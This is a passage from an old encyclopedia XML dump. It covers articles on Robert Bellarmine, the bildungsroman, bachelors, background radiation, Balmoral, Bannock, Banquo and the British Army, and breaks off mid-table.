to the charge of the chief pastor.

==New duties after [[1589]] - controversial writings==

Until 1589 Bellarmine was occupied altogether
as professor of theology, but that date marked
the beginning of a new epoch in his life and of new dignities. After the murder of [[Henry III of France]], [[Pope Sixtus V]] sent Gaetano as legate to Paris to  negotiate with the League, and chose Bellarmine to accompany him as theologian; he was in the city during its siege by [[Henry of Navarre]]. 

The next pope, [[Pope Clement VIII]] (1591-1605), set great store by him. Bellarmine wrote the preface to the new edition of the [[Vulgate]], and was made rector of the Roman College in [[1592]], examiner of  [[bishop]]s in [[1598]] and [[Cardinal (Catholicism)|cardinal]] in [[1599]]. As [[inquisition|inquisitor]], he oversaw the trial and burning of [[Giordano Bruno]]. 

In [[1602]] he was made [[archbishop]] of [[Capua]]. He had written strongly against pluralism and  non-residence, and he set a good example himself by leaving within four days
for his [[diocese]], where he devoted himself zealously to his episcopal duties, and firmly
executed the reforming decrees of  the [[Council of Trent]]. 

Under [[Pope Paul V]] ([[1605]]-[[1621]]) arose the great conflict between Venice and the [[papacy]], in which Fra [[Paolo Sarpi]] was the spokesman of the Republic, protesting against the papal interdict, reasserting the principles of [[Council of Constance | Constance]] and of [[Council of Basel | Basel]], and denying the pope's authority in matters secular. Bellarmine wrote three rejoinders to the Venetian theologians, and at the same time possibly saved Sarpi's life by giving him warning of an impending murderous attack. 

He had occasion to cross swords with a more prominent antagonist, [[James I of England]], who prided himself on his theological attainments. Bellarmine had written a letter to the English archpriest Blackwell, reproaching him for having taken the oath of allegiance in apparent disregard of his duty to the pope. James attacked
him in [[1608]] in a Latin treatise, which the scholarly cardinal answered at once, making merry with delicate humor over the defects of the royal Latinity.

James replied with a second attack in more careful
style, dedicated to the Emperor Rudolph II and
all the monarchs of [[Christendom]], in which he posed as the defender of primitive and true Christianity. Bellarmine's answer to this covers more or less the whole controversy. 

In 1616, Cardinal Bellarmine notified [[Galileo Galilei]] of the [[decree]] of the [[Inquisition|Tribunal of the Inquisition]] against the [[Copernicus|Copernican]] hypothesis.  When Galilei complained of rumors to the effect that he had been forced to abjure and do penance, Bellarmine wrote him a courteous letter describing what had been said, which was used in Galilei's defense at his trial in 1633.

In reply to a posthumous treatise of [[William Barclay (jurist)|William Barclay]], the celebrated Scottish [[jurist]], he wrote another ''Tractatus de potestate summi pontificis in rebus  temporalibus'', which reiterated his strong assertions on the subject, and was therefore prohibited in [[France]], where it agreed with the sentiments of neither the king nor the bishops. He was among the theologians consulted on the teaching of Galilei when it first made a stir at Rome.

In his old age he was allowed to return to his old home, Montepulciano, as its bishop for four years, after which he retired to the Jesuit college of St. Andrew in Rome. He received some votes in the [[papal election|conclaves]] which elected [[Pope Leo XI]], [[Pope Paul V]], and [[Pope Gregory XV]], but only in the second case had he any prospect of election. 

Over the years, the members of his order have continually attempted to procure his canonization. Finally he was canonized by [[Pope Pius XI]] in [[1930]]; the following year he was declared a [[doctor of the church|Doctor of the Church]]. His body rests in the Church of [[Sant'Ignazio]], the chapel of the Roman College, next to the body of his student, [[St. Aloysius Gonzaga]], as he himself had wished. 

The best of the older editions of his works is that in seven vols., [[Cologne]], [[1617]]; recent ones are those of [[Paris]], [[1870]]-74, and [[Naples]], [[1872]].

==Quotes==
*''To assert that the earth revolves around the sun is as erroneous as to claim that Jesus was not born of a virgin.''

{{Schaff-Herzog}}

[[Category:1542 births|Bellarmine]]
[[Category:1621 deaths|Bellarmine]]
[[Category:Italian cardinals|Bellarmine]]
[[Category:Italian theologians|Bellarmine]]
[[Category:Jesuits|Bellarmine]]
[[Category:Italian saints|Bellarmine]]
[[Category:Doctors of the Church|Bellarmine]]
[[Category:Natives of Tuscany|Bellarmine]]

[[cs:Roberto Bellarmino]]
[[da:Bellarmino]]
[[de:Robert Bellarmin]]
[[fr:Robert Bellarmin]]
[[it:San Roberto Bellarmino]]
[[nl:Robertus Bellarminus]]
[[ro:Robert Bellarmin]]
[[sv:Roberto Bellarmino]]</text>
    </revision>
  </page>
  <page>
    <title>Bipolar transistor</title>
    <id>4879</id>
    <revision>
      <id>15903129</id>
      <timestamp>2002-04-16T21:34:32Z</timestamp>
      <contributor>
        <username>Mudlock</username>
        <id>1473</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[bipolar junction transistor]]</text>
    </revision>
  </page>
  <page>
    <title>Bildungsroman</title>
    <id>4880</id>
    <revision>
      <id>41642483</id>
      <timestamp>2006-02-28T19:12:03Z</timestamp>
      <contributor>
        <username>DanielCD</username>
        <id>81016</id>
      </contributor>
      <comment>/* Some &quot;more contemporary&quot; examples */ rm Harry Potter</comment>
      <text xml:space="preserve">A '''''bildungsroman''''' ([[IPA]] /{{IPA|ˈbɪldʊŋs.roˌmaːn}}/, [[German language|German]]: &quot;novel of education&quot; or &quot;novel of formation&quot;) is a [[novel]] which traces the spiritual, moral, psychological, or social development and growth of the main character from (usually) childhood to maturity.

==Some prominent older examples==
*[[Laurence Sterne]]'s ''[[Tristram Shandy]]''
*[[Charles Dickens]]' ''[[David Copperfield (novel)|David Copperfield]]''
*[[Charles Dickens]]' ''[[Great Expectations]]'' 
*[[Johann Wolfgang von Goethe|Goethe]]'s ''[[Wilhelm Meister's Apprenticeship]]''
*[[Mark Twain]]'s ''[[Adventures of Huckleberry Finn]]''
::''More examples are listed [[Bildungsroman examples (pre-1930)|here]]''

==Some &quot;more contemporary&quot; examples==
*[[C. S. Forester]]'s ''[[Mr. Midshipman Hornblower]]''
*[[Harper Lee]]'s ''[[To Kill A Mockingbird]]''
*[[Betty Smith]]'s ''[[A Tree Grows in Brooklyn]]''
::''More examples are listed [[Bildungsroman examples (post-1930)|here]]''

==Films==
Many such books have been translated to film. Other films exhibiting the '''bildungsroman''' form are listed here, showing the character and the actor playing the role.
*Luke ([[Mark Hamill]]) in ''[[Star Wars|Star Wars IV-VI]]''
*Lili ([[Leslie Caron]]) in ''[[Lili]]''
*Gigi ([[Leslie Caron]]) in ''[[Gigi]]''
*Katsushiro ([[Isao Kimura]]) in ''[[Seven Samurai|Shichinin no samurai (Seven Samurai)]]''
*Chico ([[Horst Buchholz]]) in ''[[The Magnificent Seven]]''
*Will Hunting ([[Matt Damon]]) in ''[[Good Will Hunting]]''

==See also== 
* [[Künstlerroman]]
* [[Coming of age]]

[[Category:Literary genres]]
[[Category:German loanwords]]

[[de:Bildungsroman]]
[[es:Bildungsroman]]
[[nl:Bildungsroman]]
[[ja:教養小説]]
[[zh:教育小说]]</text>
    </revision>
  </page>
  <page>
    <title>Bachelor</title>
    <id>4881</id>
    <revision>
      <id>40597388</id>
      <timestamp>2006-02-21T18:50:04Z</timestamp>
      <contributor>
        <username>RJFJR</username>
        <id>141808</id>
      </contributor>
      <comment>add: ''For the college degree see [[bachelor's degree]]''</comment>
      <text xml:space="preserve">:''This page is about unmarried men, for the television show, see [[The Bachelor]]. For the college degree see [[bachelor's degree]].''

A '''bachelor''' is traditionally an un[[marriage|married]] but marriageable man, however some restrict the usage to men who have never been married. The female equivalent term is ''[[spinster]]''. In literature during the [[Victorian era]], the term was sometimes used as a [[euphemism]] for a [[homosexuality|homosexual]] man, particularly in the term '''confirmed bachelor'''.

==Etymology and historical meanings==
*The word is from [[Old French]] ''bacheler'' &quot;knight bachelor,&quot; a young [[squire]] in training, ultimately from [[Latin]] ''baccalarius'', a [[vassal]] farmer.
*The Old French term was loaned into English around [[1300]], referring to one belonging to the lowest stage of [[knighthood]]. [[Knight bachelor|Knights bachelor]] were either poor vassals who could not afford to take the field under their own banner, or knights too young to support the responsibility and dignity of [[knight banneret|knights banneret]].
*from the 14th century, the term was also used for a junior member of a [[guild]], otherwise known as &quot;yeomen&quot;,  or [[university]].
*Hence, an ecclesiastic of an inferior grade, e.g. a young [[monk]] or even recently appointed [[Canon (priest)|canon]] (Severtius, de episcopis Lugdunen-sibus, p. 377, in [[Charles du Fresne, sieur du Cange|du Cange]]).
*Those holding the preliminary degree of a [[university]], enabling them to proceed to that of master (magister) which alone entitled them to teach. In this sense the word ''baccalarius'' or ''baccalaureus'' first appears at the [[University of Paris]] in the 13th century, in the system of degrees established under the auspices of [[Pope Gregory IX]], as applied to scholars still in statu pupillari. Thus there were two classes of baccalarii: the ''baccalarii cursores,'' i.e. theological candidates passed for admission to the divinity course, and the ''baccalarii dispositi'', who, having completed this course, were entitled to proceed to the higher degrees. The term ''baccalaureus'' is a [[pun]] combining the prosaic ''baccalarius'' with ''bacca lauri'' &quot;[[laurel]] berry&quot;.
*In modern universities the significance of the [[Bachelor's degree|degree of bachelor]], in relation to the others, varies; e.g. at [[University of Oxford|Oxford]] and [[University of Cambridge|Cambridge]] the bachelor can proceed to his mastership by simply retaining his name on the books and paying certain fees; but generally, further studies are necessary. But in no case is the bachelor a full member of the university, meaning that he does not have the right to teach. With the admission of women to universities from the late 19th century, the term in its academic sense could also apply to females.
*The sense of &quot;unmarried man&quot; dates to 1385. The feminine ''bachelorette'' is from 1935, replacing earlier ''bachelor-girl''. In 19th century American slang ''to bach'' was used as a verb meaning &quot;to live as an unmarried man&quot;.

==Penal laws and customs==
Bachelors, in the sense of unmarried men, have in many countries been subjected to penal laws. At [[Sparta]], citizens who remained unmarried after a certain age suffered various penalties. They were not allowed to witness the gymnastic exercises of the maidens; and during winter they were compelled to march [[nudity|naked]] round the market-place, singing a song composed against themselves and expressing the justice of their punishment. The usual respect of the young to the old was not paid to bachelors.

At [[Athens]] there was no definite legislation on this matter; but certain minor laws are evidently dictated by a spirit akin to the Spartan doctrine. At Rome, though there appear traces of some earlier legislation in the matter, the first clearly known law is that called the [[Lex Julia]], passed about 18 BC. It does not appear to have ever come into full operation; and in AD 9 it was incorporated with the [[Lex Papia Poppaea|Lex Papia et Poppaea]], the two laws being frequently cited as one, Lex Julia et Papia Poppaea. This law, while restricting marriages between the several classes of the people, laid heavy penalties on unmarried persons, gave certain privileges to those citizens who had several children, and finally imposed lighter penalties on married persons who were childless.

Isolated instances of such penalties occur during the middle ages, e.g. by a charter of liberties granted by [[Matilda I]], countess of [[Nevers]], to [[Auxerre]] in [[1223]], an annual tax of five solidi is imposed on any man ''qui non habet uxorem et est bache-larius''. In [[Great Britain]] there has been no direct legislation bearing on bachelors; but, occasionally, taxes have been made to bear more heavily on them than on others. Instances of this are an Act passed in [[1695]]; the tax on [[servant_(domestic)|servant]]s, [[1785]]; and the [[income tax]], [[1798]].

In some cultures, the &quot;punishment&quot; of bachelors is no more than a teasing game. In small towns in [[Germany]], for example, men who are still unmarried on their 30th birthday are made to sweep the stairs of the [[town hall]] until kissed by a [[virgin]].

==See also==
* [[Bachelor's degree]]
* [[Marriage strike]]
* [[Bachelor group]]
* [[Sex-selective abortion and infanticide]]
* [[Erotophobia]]
* [[Love-shyness]]
* [[Bachelor party]]

== Further reading ==

* [http://marriage.rutgers.edu/Publications/SOOU/TEXTSOOU2002.htm Why Men Won't Commit: Exploring Young Men's Attitudes About Sex, Dating and Marriage by Drs. Barbara Dafoe Whitehead and David Popenoe] - An essay on young, not-yet married men’s attitudes on the timing of marriage finds that men experience few social pressures to marry, gain many of the benefits of marriage by cohabiting with a romantic partner, and are ever more reluctant to commit to marriage in their early adult years.

* [http://www.intellectualconservative.com/article3609.html The Marriage No-Shows by Carey Roberts] - When almost one-quarter of single men are in their prime courting years (that’s two million potential husbands).

[[Category:Marriage]]

[[de:Junggeselle]]
[[nl:Vrijgezel]]</text>
    </revision>
  </page>
  <page>
    <title>Background radiation</title>
    <id>4882</id>
    <revision>
      <id>41833468</id>
      <timestamp>2006-03-02T01:11:46Z</timestamp>
      <contributor>
        <username>Vsmith</username>
        <id>84417</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/86.143.220.40|86.143.220.40]] ([[User talk:86.143.220.40|talk]]) to last version by 67.166.42.66</comment>
      <text xml:space="preserve">'''Background radiation''' is the [[ionizing radiation]] from several natural radiation sources: sources in the [[Earth]] and from those sources that are incorporated in our food and water, which are incorporated in our body, and in building materials and other products that incorporate those radioactive sources; radiation sources from [[outer space|space]] (in the form of [[cosmic ray]]s); and sources in the [[Earth's atmosphere|atmosphere]] which primarily come from both the radon gas that is released from the earth's surface and subsequently decays to radioactive atoms that become attached to airborne dust and particulates, and the production of radioactive atoms from the bombardment of atoms in the upper atmosphere by high-energy cosmic rays.  Since [[1945]] it also comes from low levels of global [[radioactive contamination]] due to [[nuclear testing]].

== Natural background radiation ==

Natural background radiation comes from three primary sources: [[cosmic radiation]], terrestrial sources, and [[radon]]. The worldwide average background dose for a human being is about 2.4 mSv per year [http://www.unscear.org/pdffiles/annexb.pdf] (pdf). This exposure is mostly from cosmic radiation and natural isotopes in the Earth.

===Cosmic radiation===

The Earth, and all living things on it, are constantly bombarded by radiation from outside our solar system of positively charged ions from [[proton]]s to [[iron]] [[atomic nucleus|nuclei]]. This radiation interacts in the atmosphere to create secondary radiation that rains down, including [[X-rays]], [[muon]]s, protons, [[alpha particle]]s, [[pion]]s, [[electrons]], and [[neutron]]s. The [[dose]] from cosmic radiation is largely from muons, neutrons, and electrons.

The dose rate from cosmic radiation varies in different parts of the world based largely on the geomagnetic field and altitude.

===Terrestrial sources===

Radioactive material is found throughout nature. It occurs naturally in the [[soil]], rocks, water, air, and vegetation. The major [[radionuclide]]s of concern for '''terrestrial radiation''' are [[potassium]], [[uranium]] and [[thorium]]. Each of these sources has been decreasing in activity since the birth of the Earth so that our present dose from [[potassium]]-40 is about &amp;frac12; what it would have been at the dawn of life on Earth. Some of the elements that make up the human body have radioactive isotopes, such as potassium-40, so there is also a very small amount of internal radiation. 

===Radon===
[[Radon]] gas seeps out of uranium-containing soils found across most of the world and may concentrate in well-sealed homes. It is often the single largest contributor to an individual's background radiation dose and is certainly the most variable in the United States. Many areas of the world, including [[Cornwall]] and [[Aberdeenshire]] in the [[United Kingdom]] have high enough natural radiation levels that [[nuclear licensed site]]s cannot be built there—the sites would already exceed legal radiation limits before they opened, and the natural topsoil and rock would all have to be disposed of as [[low-level nuclear waste]].

== Man-made &quot;background&quot; radiation ==

Every above-ground nuclear detonation scatters a certain amount of [[radioactive contamination]]. Some of this contamination is local, rendering the immediate surroundings highly radioactive, while some of it is carried longer distances as [[nuclear fallout]]; some of this material is dispersed worldwide. Nuclear reactors may also release a certain amount of radioactive contamination. Under normal circumstances, a modern nuclear reactor releases minuscule amounts of radioactive contamination. However, reprocessing plants released waste, including [[plutonium]], directly into the ocean. Major accidents, which have fortunately been relatively rare, have also released some radioactive contamination into the environment; this is the case, for example, with the [[Windscale fire]] ([[Sellafield]] accident) and the [[Chernobyl accident]].

The amount of radioactive contamination released by human activity is rather small, in global terms, but the radiation background is also rather low. Some sources claim that the Earth's background radiation level has tripled since the beginning of the twentieth century. In fact, the total amount of radioactivity released by man is inconsequential to the large quantities of radioactivity in the natural environment [http://www.unscear.org/pdffiles/annexb.pdf] (pdf).

== Man-made radiation sources ==

The radiation from natural and man-made radiation sources are identical in their nature and their effects. These materials are distributed in the environment, and in our bodies, according to the chemical properties of the elements. The [[Nuclear Regulatory Commission]], the [[Environmental Protection Agency]], and other U.S. and international agencies, require that licensees limit radiation exposure to individual members of the public to 100 m[[roentgen equivalent man|rem]] (1 [[sievert|mSv]]) per year, and limit occupational radiation exposure to adults working with radioactive material to 5 rem (50 mSv) per year, and 10 rem (100 mSv) in 5 years.

The exposure for an average person is about 360 millirems/year, 80 percent of which comes from natural sources of radiation. The remaining 20 percent results from exposure to man-made radiation sources, such as medical [[X-ray]]s and a small fraction from [[nuclear weapon]]s tests.

==Other usage==
In other contexts, '''background radiation''' may simply be any radiation that is pervasive. A particular example of this is the [[cosmic microwave background radiation]], a nearly uniform glow that fills the sky in the microwave part of the spectrum; stars, galaxies and other objects of interest in [[radio astronomy]] stand out against this background.

In a laboratory, '''background radiation''' refers to the measured value from any sources that affect an instrument when a radiation source sample is not being measured. This background rate, which must be established as a stable value by multiple measurements, usually before and after sample measurement, is subtracted from the rate measured when the sample is being measured.

'''Background radiation''' for occupational doses measured for workers is all radiation dose that is not measured by radiation dose measurement instruments in potential occupational exposure conditions. This includes both &quot;natural background radiation&quot; and any medical radiation doses. This value is not typically measured or known from surveys, such that variations in the total dose to individual workers is not known. This can be a significant confounding factor in assessing radiation exposure effects in a population of workers who may have significantly different natural background and medical radiation doses. This is most significant when the occupational doses are very low.

==References==
*[http://www.unscear.org/reports/2000_1.html United Nations Scientific Committee on the Effects of Atomic Radiation]
[[Category:Radioactivity]]
[[Category:Cosmic rays]]

[[nl:Achtergrondstraling]]</text>
    </revision>
  </page>
  <page>
    <title>Balmoral</title>
    <id>4884</id>
    <revision>
      <id>41955379</id>
      <timestamp>2006-03-02T21:36:48Z</timestamp>
      <contributor>
        <username>Gregwmay</username>
        <id>696324</id>
      </contributor>
      <minor />
      <comment>alpha</comment>
      <text xml:space="preserve">==Places==
There are several places named '''Balmoral'''.

===Australia===
*[[Balmoral, New South Wales (Lake Macquarie)]]
*[[Balmoral, New South Wales|Balmoral, New South Wales (Sydney)]]
*[[Balmoral, Queensland]]
*[[Balmoral, Victoria]]

===Ireland===
* The Balmoral Show takes place in the Kings Hall show-ground on the outskirts of [[Belfast]] in [[Northern Ireland]] and is a major agricultural show which takes place every year. The Balmoral area of Belfast incorporates the Lisburn Road, and the Malone Road. Balmoral Avenue is a large road which intersects the Lisburn Road and the Malone Road. Balmoral golf club is also situated nearby.

===New Zealand===
*[[Balmoral, New Zealand]], a [[suburb]] of [[Auckland, New Zealand|Auckland]].

===Scotland===
* An estate including a small village in the highlands of [[Scotland]], close to [[Balmoral Castle]]. 
* [[Balmoral Castle]] - one residence of [[Elizabeth II of the United Kingdom|Queen Elizabeth II]]

==Headgear==
A '''balmoral''', named for the Scottish village and castle, is also an unbrimmed [[cap]] consisting of a band, a loose crown, and a short length of exposed ribbon. It may or may not incorporate a toorie (the correct term for the &quot;pompom&quot; on top). It is occasionally seen in Commonwealth military and naval uniforms as well as Scottish military dress.  Balmorals (and a similar hat called a Tam O'Shanter) are usually worn as field dress by Scottish and Commonwealth soldiers, though sometimes also with more formal uniform, though the glengarry is generally used for the latter purpose.

----
{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Bannock</title>
    <id>4885</id>
    <revision>
      <id>39857638</id>
      <timestamp>2006-02-16T09:30:32Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Bannock''' has more than one meaning:

*[[Bannock (food)|Bannock]] is a kind of bread, usually prepared by pan-frying, traditional to [[Scotland|Scottish]] cuisine but also widespread in [[Indigenous peoples of the Americas|Native American]] culture in [[Canada]] and much of the [[United States]].
*The [[Bannock (tribe)|Bannock]] are a [[Native Americans in the United States|Native American]] people of what is now southeastern [[Oregon]] and western [[Idaho]].

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Banquo</title>
    <id>4886</id>
    <revision>
      <id>41437783</id>
      <timestamp>2006-02-27T08:35:24Z</timestamp>
      <contributor>
        <username>Elysdir</username>
        <id>32801</id>
      </contributor>
      <comment>Removing the interesting but irrelevant/misplaced bit about the similarity between &quot;banquet&quot; and &quot;Banquo&quot;</comment>
      <text xml:space="preserve">'''Banquo''' is a character in the play ''[[Macbeth]]'', by [[William Shakespeare]].

Banquo is with [[Macbeth of Scotland]] during the encounter with the witches (the [[Weird Sisters]]) near the beginning of the play. After predicting that Macbeth will be king, the witches predict that Banquo will never himself be king, but will beget a line of kings (the [[House of Stuart|Stuart family]] of Scottish and English kings). Later, disturbed that Banquo's decedents and not his own will rule [[Scotland]], Macbeth sends murderers to kill Banquo and his son [[Fleance]]. However, Fleance escapes.  The ghost of Banquo then returns to haunt Macbeth at the banquet in Act 3, Scene 4.

Although Macbeth was certainly a historical figure (a very different one from the character in the play), Banquo's actual historical existence is more questionable. He is mentioned by [[Holinshed]], and other chroniclers, as an accomplice of Macbeth in his usurpation, and as being the ancestor of the Fitzalan High Stewards of Scotland, from whom the new King, [[James I of England|James I]], descended.  However, this descent was disproven in the 19th century, when it was discovered that the Fitzalans actually descended from a Breton family.  Whether or not Banquo, Thane of the Scottish province of [[Lochaber]], actually existed remains in doubt.



[[Category:Shakespearean characters]]

[[de:Banquo]]
[[ja:バンクォウ]]</text>
    </revision>
  </page>
  <page>
    <title>British Army</title>
    <id>4887</id>
    <revision>
      <id>42045716</id>
      <timestamp>2006-03-03T12:34:18Z</timestamp>
      <contributor>
        <username>BrownHairedGirl</username>
        <id>754619</id>
      </contributor>
      <comment>/* Current deployments */  dab. Catholic</comment>
      <text xml:space="preserve">{{British Army}}
The '''British Army''' is the [[Army|land armed forces]] branch of the [[British Armed Forces]]. In contrast to the [[Royal Navy]], [[Royal Marines]] and [[Royal Air Force]], the British Army does not include &quot;royal&quot; in its title, because of its roots as a collection of disparate units, many of which themselves do bear the &quot;royal&quot; prefix.  The British Army has taken part in campaigns throughout the world, and has a long and distinguished history in warfare. Today the Army is one of the most technologically advanced land forces in the world, and is deployed in many of the world's war zones as part of a fighting force, and in [[United Nations]] peacekeeping forces.

==History==
''See main article, [[History of the British Army]]''
===Foundation===
Prior to the [[English Civil War]] in [[1642]], there was no standing army in [[England]] or [[Scotland]]. Troops were raised by the [[British monarch|King]] when required, a development of the feudal concept of [[fief]] (in which a lord was obligated to raise a certain quota of [[knights]], men at arms and [[yeomanry]], under greater control of the King). After the Civil War, Parliament assumed control of the Army, and standing companies based on [[Oliver Cromwell|Cromwell]]'s [[New Model Army]] formed the concept of the first [[regiment]]s. The [[English Restoration|Restoration]] of [[Charles II of England|Charles II]] saw the Model Army kept as a standing force, and the King raised further regiments loyal to the Crown. On January 26th, [[1661]] Charles II issued the warrant that officially founded the British Army.

===Bill of Rights===
This period in British history saw the [[Act of Union 1707|Union of England and Scotland]] into the [[Kingdom of Great Britain]]. In an effort to control the powers of the monarch, Parliament passed the [[English Bill of Rights|Bill of Rights]] [[1689]] to prevent a standing army in peacetime without the consent of Parliament. To this day, annual continuation notices are required for the British Army to remain legal in times of peace. However, Parliament still does not control the use of the army (only the monarch, and his/her government gives commands and declares war). The last ruling King to go into battle was [[George II of Great Britain|King George II]] at the [[Battle of Dettingen]] in [[1743]]. However the last king to go into battle was [[George VI of the United Kingdom|King George VI]] but he was still the Duke of York at this time.

===British Empire===
From around [[1692]] until at least [[1914]], the United Kingdom was the dominant military and economic power in the world. The [[British Empire]] expanded in this time to include colonies and [[Dominion]]s throughout the Americas, [[Africa]], [[Asia]] and [[Australasia]]. Although the [[Royal Navy]] is widely regarded as being vital for the rise of Empire, and British dominance in the world, the British Army played an important role in colonisation. Firstly, the British Army provided garrisons for the colonies, protecting them against foreign powers and hostile natives. Secondly, the troops also helped capture strategically important territories for the British, allowing the British Empire to expand throughout the globe.

The British Army fought American colonists in the [[American Revolutionary War]]; Irish rebels in the [[Irish Rebellion of 1798|1798 rebellion]]; the Chinese in the [[First Opium War|First]] and [[Second Opium War]]s; [[Māori]] tribes in the first of the [[New Zealand Wars]]; [[India]]n princely forces and [[British East India Company]] mutineers in the [[Indian Mutiny]]; the Boers in the [[Boer Wars]]; and [[Irish Republican Army|Irish separatists]] in the [[Anglo-Irish War]].

===European wars===
Despite its increasingly global commitments, Britain's backdoor was still unstable, and many wars on the European continent were fought with various opponents. As well as foreign powers, Britain was still not politically stable at home, with uprisings to support the direct heirs of [[James II of England|James II]], who had been deposed in the [[Revolution of 1688|Revolution of ]][[1688]]. The [[Jacobite Risings]] ended at the [[Battle of Culloden]], the last land battle on British soil.

On the continent, British foreign policy was to contain aggression by its competitor powers such as [[France]] and [[Spain]]. The territorial ambitions of the French led to the [[War of the Spanish Succession]] and the [[Napoleonic Wars]]. Russian activity led to the [[Crimean War]].

===World Wars===
By [[1914]], the United Kingdom's dominance of the world had been challenged by numerous other powers, notably [[Germany]].  The UK was allied with France (by the [[Entente Cordiale]]) and Russia, and when war broke out in [[1914]], the British Army sent the [[British Expeditionary Force]] to France and Belgium to prevent Germany from occupying these countries. The War would be the most devastating in British military history, with over 900,000 men killed and over 2 million wounded. In the early part of the war, the professional force of the BEF was decimated and, by turns, a volunteer (and then conscripted) force replaced it. Major battles included the [[Battle of the Somme]]. Advances in technology saw the advent of the [[tank]] and [[aircraft]] which were to be decisive in future battles. Trench warfare dominated strategy, and the use of chemical and poison gases added to the devastation.

In 1939, [[World War II]] broke out with the German invasion of [[Poland]]. British assurances to the Polish led the British Empire to declare war on Germany, allied with France. Again an Expeditionary Force was sent to France, only to be hastily evacuated as the German forces swept through the Low Countries and across France in [[1940]]. Only the [[Battle of Dunkirk|Dunkirk evacuations]] saved the entire Expeditionary Force from capture. Later, however, the British would have success defeating the Italians and Germans at the [[First Battle of El Alamein|Battle of El Alamein]] in [[North Africa]], and in the [[Battle of Normandy|D-Day invasions of Normandy]]. In the Far East, the British Army battled the [[Japan|Japanese]] in [[Burma]]. World War II saw the British army develop its Commando units including the Special Air Services.

===1945-1990===
After the end of World War II, the British Empire declined with the independence of [[India]], and other colonies in Africa and Asia. Accordingly the strength of the British military was reduced, in recognition of Britain's reduced role in world affairs. However, a large deployment of [[BAOR|British troops]] remained in Germany, facing the threat of [[Soviet Union|Soviet]] invasion. The [[Cold War]] saw massive technological advances in warfare, and the Army saw more technological advanced weapons systems installed.

Despite the decline of the British Empire, the Army was still deployed around the world, fighting in the [[Korean War]], the [[Suez crisis]] of [[1956]], and colonial wars in Oman and Malaysia. In [[1982]] the British Army, alongside the [[Royal Marines]], helped to recapture the [[Falkland Islands]] during the [[Falklands War]] against [[Argentina]]. 

In the three decades following 1969, the Army was heavily deployed in [[Northern Ireland]], to support the [[Royal Ulster Constabulary]] (later the [[Police Service of Northern Ireland]]) in their conflict with loyalist and republican paramilitary groups. The locally-recruited [[Ulster Defence Regiment]] was formed, later becoming the [[Royal Irish Regiment]] in 1992. Over 700 soldiers were killed during the [[Troubles]].  Following the [[Provisional Irish Republican Army|IRA]] ceasefires between 1994 and 1996 and since 1997, demilitarisation has taken place as part of the peace process, much reducing the military presence in the area.

===1990-present===
[[Image:British gulf war.jpg|thumb|200px|British soldiers training during the Gulf War]]
The ending of the [[Cold War]] saw a 40% cut in manpower, significantly reducing the size of the Army. Despite this, the Army has been deployed in an increasingly global role. In [[1991]], the United Kingdom was the second largest contributor to the coalition force that fought [[Iraq]] in the [[Gulf War]]. Later the Army would see service in the former [[Republic of Yugoslavia]] in the [[Bosnian War]] and the [[Kosovo War]]. In [[2003]], the United Kingdom was the only other major contributor to the United States led [[2003 invasion of Iraq|invasion of Iraq]].

The Army has also been deployed in many [[peacekeeping|peacekeeping operations]], such as in [[Sierra Leone]] and in the [[war against terrorism]]. Some peacekeeping operations are under [[United Nations]] mandates. The [[Special Air Service|SAS]] unit of the British Army is specifically trained for anti-terror operations, and fought in [[Afghanistan]] in [[2001]]. A squadron of SAS troops is always present on the UK mainland to respond to terrorist attacks. 

There has been a reduction in the number of troops deployed in [[Northern Ireland]] since the [[Good Friday Agreement]] was signed in [[1998]]. In 2005, after the [[Provisional Irish Republican Army|IRA]] announced an end to armed conflict in Northern Ireland, it was revealed that the British Army would dismantle posts in the province and withdraw many troops.

==The Army today==

For equipment, see ''[[Modern equipment and uniform of the British Army]]''

===Statistics===

{| border=1 style=&quot;border-collapse: collapse;&quot;
| bgcolor=&quot;#ff2222 align=&quot;center&quot; colspan=&quot;2&quot; | '''British Army statistics''' {{ref|statistics}}
|-
| Personnel (Regular Army) 
| 103,780
|- 
| Personnel ([[Territorial Army]]) 
| 35,000+
|- 
| [[Main Battle Tank]]s
| 386 [[Challenger 2]]
|- 
| [[Infantry fighting vehicle]]s
| 667 [[Warrior Tracked Armoured Vehicle|Warrior]] (789 purchased)
|-
|[[Armoured Personnel Carrier|APC]]s and reconnaissance vehicles
| 3,230 - 4,000+
|-
| [[Land Rover]]s 
| 15,000
|-
|[[Artillery]] pieces and [[Mortar (weapon)|mortars]]
| 2896 
|-
|Air Defence
|337
|-
|[[Aircraft]]
| 300+
|}

{{note|statistics}} [http://www.armedforces.co.uk/army/listings/l0002.html Armed forces.co.uk]

===Current deployments===
{| border=1 style=&quot;border-collapse: collapse;&quot;
|- bgcolor=cccccc
!Country!!Dates!!Deployment!!Details
|-
|[[Afghanistan]] || [[2001]]- ||One [[Light infantry|light-role infantry]] battalion (on rotation) || British troops have been based in Afghanistan since the [[U.S. invasion of Afghanistan|US-led invasion]] there in [[2001]]. The infantry battalion forms part of [[NATO]]'s [[International Security Assistance Force]]. It is expected that [[British 16 Air Assault Brigade|16 Air Assault Brigade]] will deploy to the country in [[2006]].   
|-
| [[Belize]] || [[1981]]- || British Army Training and Support Unit Belize
||British troops have been based in [[Belize]] since the country gained independence from the UK in [[1981]]. Until [[1994]] Belize's neighbour, [[Guatemala]] claimed the territory, and British troops were based in Belize to provide a deterrent force
|-
| [[Bosnia and Herzegovina|Bosnia]] || [[1995]]- || One light-role infantry battalion (on rotation) || British troops are based in Bosnia as peacekeepers under UN Security Council resolutions. 
|-
| [[Brunei]] || [[1962]]- || One battalion from the [[Royal Gurkha Rifles]] and [[Army Air Corps]] flight  ||Centre of the Army's jungle warfare school.  
|-
| [[Canada]] || [[1972]]- || [[British Army Training Unit Suffield]]|| Training centre in the [[Alberta]] prairie. Regular exercises every year.
|-
| [[Cyprus]] || [[1960]]- || Two resident infantry battalions, [[Royal Engineers]], 16 Flight Army Air Corps and Joint Service Signals Unit at [[Ayios Nikolaos]]||The UK retains two [[Sovereign Base Areas]] in Cyprus after the island's independence. The bases serve as forward bases for deployment in the Middle East. British forces are also deployed separately with [[United Nations|UN]] forces. 
|-
